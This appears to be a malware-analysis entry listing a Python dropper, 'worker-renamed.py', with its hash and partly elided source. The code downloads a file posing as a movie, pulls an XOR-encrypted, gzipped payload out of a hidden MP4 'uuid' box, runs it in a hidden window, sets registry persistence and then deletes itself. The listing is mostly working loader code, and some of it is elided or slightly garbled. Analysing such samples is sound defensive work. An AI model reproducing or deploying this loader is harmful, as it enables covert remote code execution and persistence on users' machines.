worker-renamed.py
Media UUID payload decoding with hidden network stage launchSelf-deleting XOR/gzip network stage with hidden launch
SHA-2569b0625450d2d2c5b1c2a0976a890007e95655a491b7ce41e38627afb6fa9002e
Evidence
1# -*- coding: utf-8 -*-
2import base64,gzip,os,struct,subprocess,sys,tempfile,ssl,urllib.request
3variant_URL="https://download.example.invalid/movie.bin"
4variant_UUID=bytes([12,90,229,173,102,109,77,187,151,35,54,24,105,200,238,84])
5variant_MAGIC=bytes([251,219,129,13])
6variant_DATA_DIR=".k835d0dd0454"
7variant_ANCHOR_B64="LmNoXzdjNGZmMmM3YjhlYw=="
8_EMBED_TAG="312"
9_EMBED_AMD64="https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"
10_EMBED_WIN32="https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-win32.zip"
11def variant_dl(url):
12 if not url.lower().startswith("http"):
13 url="http://"+url.lstrip("/")
14 ctx=ssl.create_default_context()
15 req=urllib.request.Request(url,headers={"User-Agent":"Mozilla/5.0"})
16 with urllib.request.urlopen(req,context=ctx,timeout=120) as r:
17 return r.read()
18def variant_read_int(b,o):
19 return ((b[o]&255)<<24)|((b[o+1]&255)<<16)|((b[o+2]&255)<<8)|(b[o+3]&255)
20def variant_decrypt_blob(blob):
21 for i in range(len(variant_MAGIC)):
22 if blob[i]!=variant_MAGIC[i]:
23 raise ValueError("bad blob")
24 secret_len=(blob[4]<<8)|blob[5]
25 o=6
26 secret=blob[o:o+secret_len]; o+=secret_len
27 data_len=variant_read_int(blob,o); o+=4
28 cipher=bytearray(blob[o:o+data_len])
29 for i in range(len(cipher)):
30 cipher[i]^=secret[i%len(secret)]
31 return gzip.decompress(bytes(cipher)).decode("utf-8")
32def variant_find_uuid_box(data, uid):
33 i=0
⋯4 lines
38 i+=1
39 continue
40 if data[i + 4 : i + 8] == b'uuid' and data[i+8:i+24]==uid:
41 return data[i+24:i+size]
42 if size<8:
⋯6 lines
48:60… ariant_UUID))
49def variant_embed_root():
50 return os.path.join(os.environ.get("LOCALAPPDATA",""),variant_DATA_DIR,"py-embed",_EMBED_TAG)
51def variant_ensure_python():
52 exe=sys.executable
53 if exe and os.path.isfile(exe):
54 return exe,["-X","utf8"]
55 root=variant_embed_root()
56 plain=os.path.join(root,"python.exe")
57 if os.path.isfile(plain):
58 return plain,["-X","utf8"]
59 os.makedirs(root,exist_ok=True)
60 url=_EMBED_AMD64 if sys.maxsize>2**32 else _EMBED_WIN32
61 zpath=os.path.join(tempfile.gettempdir(),"ch_py_"+os.urandom(8).hex()+".zip")
62 with open(zpath,"wb") as f:
63 f.write(variant_dl(url))
64 import zipfile
65 with zipfile.ZipFile(zpath) as zf:
66 zf.extractall(root)
67 try:
68 os.remove(zpath)
69 except OSError:
70 pass
⋯5 lines
76 return
77 try:
78 import winreg
79 except ImportError:
80 return
81 name=base64.b64decode(variant_ANCHOR_B64).decode("utf-8")
82 base=os.environ.get("ProgramData","")
83 if not base:
84 return
85 path=os.path. …
93:23… iant_URL)
94 agent_src=variant_from_carrier(raw)
95 agent_path=os.path.join(tempfile.gettempdir(),"chk_"+os.urandom(8).hex()+".py")
96 with open(agent_path,"w",cipheroding="utf-8") as f:
97 f.write(agent_src)
98 py,args=variant_ensure_python()
99 si=subprocess.STARTUPINFO()
100 si.dwFlags|=subprocess.STARTF_USESHOWWINDOW
101 si.wShowWindow=0
102 cf=0x08000000
103 subprocess.Popen([py]+args+[agent_path],startupinfo=si,creationflags=cf)
104 variant_set_anchor()
105 try:
106 os.remove(__file__)
107 except OSError:
108 pass
109if __name__=="__main__":
110 variant_main()